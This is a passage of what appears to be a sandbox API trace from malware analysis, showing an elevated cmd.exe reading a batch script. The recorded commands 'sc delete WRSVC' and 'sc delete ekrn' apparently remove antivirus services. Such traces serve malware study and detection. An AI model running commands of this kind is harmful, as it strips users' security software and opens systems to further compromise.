_MaxCount=0x7) returned -5 [0077.567] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0077.567] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0077.567] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0077.567] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0077.567] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0077.567] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0077.567] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0077.567] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0077.567] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0077.567] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0077.567] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0077.567] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0077.567] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0077.567] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0077.567] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0077.567] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0077.568] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0077.568] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0077.568] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0077.568] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0077.568] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0077.568] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0077.568] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0077.568] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0077.568] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0077.568] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0077.568] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0077.568] GetProcessHeap () returned 0x240000 [0077.568] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254610 | out: hHeap=0x240000) returned 1 [0077.568] GetProcessHeap () returned 0x240000 [0077.568] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x2589d0 [0077.568] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete WRSVC", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1af3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete WRSVC", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af360 | out: lpCommandLine="sc delete WRSVC", lpProcessInformation=0x1af360*(hProcess=0x54, hThread=0x50, dwProcessId=0x964, dwThreadId=0x974)) returned 1 [0077.571] CloseHandle (hObject=0x50) returned 1 [0077.571] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0077.571] GetProcessHeap () returned 0x240000 [0077.571] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x261b10 | out: hHeap=0x240000) returned 1 [0077.571] GetEnvironmentStringsW () returned 0x261b10* [0077.571] GetProcessHeap () returned 0x240000 [0077.571] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba90 [0077.572] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0077.572] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x1aec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1aec68, ReturnLength=0x0) returned 0x0 [0077.572] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffd4000, lpBuffer=0x1aeca0, nSize=0x380, lpNumberOfBytesRead=0x1aec60 | out: lpBuffer=0x1aeca0*, lpNumberOfBytesRead=0x1aec60*=0x380) returned 1 [0077.572] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0077.625] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x1af2a8 | out: lpExitCode=0x1af2a8*=0x424) returned 1 [0077.625] CloseHandle (hObject=0x54) returned 1 [0077.625] _vsnwprintf (in: _Buffer=0x1af518, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af2b8 | out: _Buffer="00000424") returned 8 [0077.625] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0077.625] GetProcessHeap () returned 0x240000 [0077.625] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba90 | out: hHeap=0x240000) returned 1 [0077.625] GetEnvironmentStringsW () returned 0x261b10* [0077.625] GetProcessHeap () returned 0x240000 [0077.625] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba90 [0077.625] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0077.625] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0077.625] GetProcessHeap () returned 0x240000 [0077.625] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba90 | out: hHeap=0x240000) returned 1 [0077.625] GetEnvironmentStringsW () returned 0x261b10* [0077.625] GetProcessHeap () returned 0x240000 [0077.626] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba90 [0077.626] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0077.626] GetProcessHeap () returned 0x240000 [0077.626] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589d0 | out: hHeap=0x240000) returned 1 [0077.626] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af378 | out: lpAttributeList=0x1af378) [0077.626] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0077.626] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.626] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0077.627] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.627] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0077.627] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.627] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0077.627] GetConsoleOutputCP () returned 0x1b5 [0077.627] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0077.627] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0077.627] GetProcessHeap () returned 0x240000 [0077.627] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259b30 | out: hHeap=0x240000) returned 1 [0077.628] GetProcessHeap () returned 0x240000 [0077.628] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0077.628] GetProcessHeap () returned 0x240000 [0077.628] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b70 | out: hHeap=0x240000) returned 1 [0077.628] GetProcessHeap () returned 0x240000 [0077.628] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0077.628] GetProcessHeap () returned 0x240000 [0077.628] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x256550 | out: hHeap=0x240000) returned 1 [0077.628] GetProcessHeap () returned 0x240000 [0077.628] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259910 | out: hHeap=0x240000) returned 1 [0077.628] GetProcessHeap () returned 0x240000 [0077.628] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x256510 | out: hHeap=0x240000) returned 1 [0077.628] GetProcessHeap () returned 0x240000 [0077.628] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589b0 | out: hHeap=0x240000) returned 1 [0077.628] GetProcessHeap () returned 0x240000 [0077.628] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264660 | out: hHeap=0x240000) returned 1 [0077.628] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af7d8 | out: _Buffer="\r\n") returned 2 [0077.628] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.628] GetFileType (hFile=0x120) returned 0x3 [0077.629] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.629] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0077.629] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af7a8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7a8*=0x2, lpOverlapped=0x0) returned 1 [0077.629] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0077.629] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0077.629] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0077.629] _vsnwprintf (in: _Buffer=0x49f8ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af7e8 | out: _Buffer=">") returned 1 [0077.629] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.629] GetFileType (hFile=0x120) returned 0x3 [0077.629] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.629] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0077.629] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1af7d8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7d8*=0x26, lpOverlapped=0x0) returned 1 [0077.629] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.629] GetFileType (hFile=0xb8) returned 0x3 [0077.629] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.629] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.629] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.630] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="sc delete WRSVC\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0077.630] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.630] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.630] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.630] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="c delete WRSVC\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0077.630] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.630] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.630] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.630] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr=" delete WRSVC\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0077.630] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.630] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.630] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.630] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="delete WRSVC\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0077.630] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.630] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.630] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.630] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="elete WRSVC\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0077.630] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.630] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.630] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.630] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="lete WRSVC\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0077.631] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.631] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.631] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.631] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="ete WRSVC\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0077.631] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.631] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.631] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.631] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr="te WRSVC\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0077.631] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.631] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.631] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.631] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="e WRSVC\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0077.631] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.631] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.631] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.631] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr=" WRSVC\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0077.631] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.631] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.631] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.632] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="eRSVC\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0077.632] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.632] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.632] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.632] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="kSVC\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0077.632] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.632] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.632] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.632] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr="rVC\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0077.632] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.632] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.632] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.632] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="nC\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0077.632] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.632] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.632] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.632] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="\n\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0077.632] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.632] GetFileType (hFile=0xb8) returned 0x3 [0077.632] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.633] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.633] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.633] GetFileType (hFile=0x120) returned 0x3 [0077.633] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.633] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete ekrn\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete ekrn\n", lpUsedDefaultChar=0x0) returned 16 [0077.633] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x1afab8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afab8*=0xf, lpOverlapped=0x0) returned 1 [0077.633] GetProcessHeap () returned 0x240000 [0077.633] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x268630 [0077.633] GetProcessHeap () returned 0x240000 [0077.633] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x268630 | out: hHeap=0x240000) returned 1 [0077.633] GetProcessHeap () returned 0x240000 [0077.633] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0) returned 0x264660 [0077.633] GetProcessHeap () returned 0x240000 [0077.633] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x16) returned 0x2589b0 [0077.633] GetProcessHeap () returned 0x240000 [0077.633] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2a) returned 0x256510 [0077.633] GetConsoleOutputCP () returned 0x1b5 [0077.634] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0077.634] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0077.634] GetConsoleTitleW (in: lpConsoleTitle=0x1afa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0077.634] GetProcessHeap () returned 0x240000 [0077.634] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x259910 [0077.634] GetProcessHeap () returned 0x240000 [0077.634] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x30) returned 0x256550 [0077.634] GetProcessHeap () returned 0x240000 [0077.634] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x420) returned 0x25c5b0 [0077.634] SetErrorMode (uMode=0x0) returned 0x1 [0077.634] SetErrorMode (uMode=0x1) returned 0x0 [0077.634] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x25c5c0, lpFilePart=0x1af300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af300*="Desktop") returned 0x25 [0077.634] SetErrorMode (uMode=0x1) returned 0x1 [0077.634] GetProcessHeap () returned 0x240000 [0077.634] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x25c5b0, Size=0x62) returned 0x25c5b0 [0077.635] GetProcessHeap () returned 0x240000 [0077.635] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c5b0) returned 0x62 [0077.635] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0077.635] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0077.635] GetProcessHeap () returned 0x240000 [0077.635] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x255b70 [0077.635] GetProcessHeap () returned 0x240000 [0077.635] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x240) returned 0x241ab0 [0077.635] GetProcessHeap () returned 0x240000 [0077.635] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x241ab0, Size=0x12a) returned 0x241ab0 [0077.635] GetProcessHeap () returned 0x240000 [0077.635] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x241ab0) returned 0x12a [0077.635] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0077.635] GetProcessHeap () returned 0x240000 [0077.635] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe8) returned 0x259b30 [0077.635] GetProcessHeap () returned 0x240000 [0077.635] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259b30, Size=0x7e) returned 0x259b30 [0077.635] GetProcessHeap () 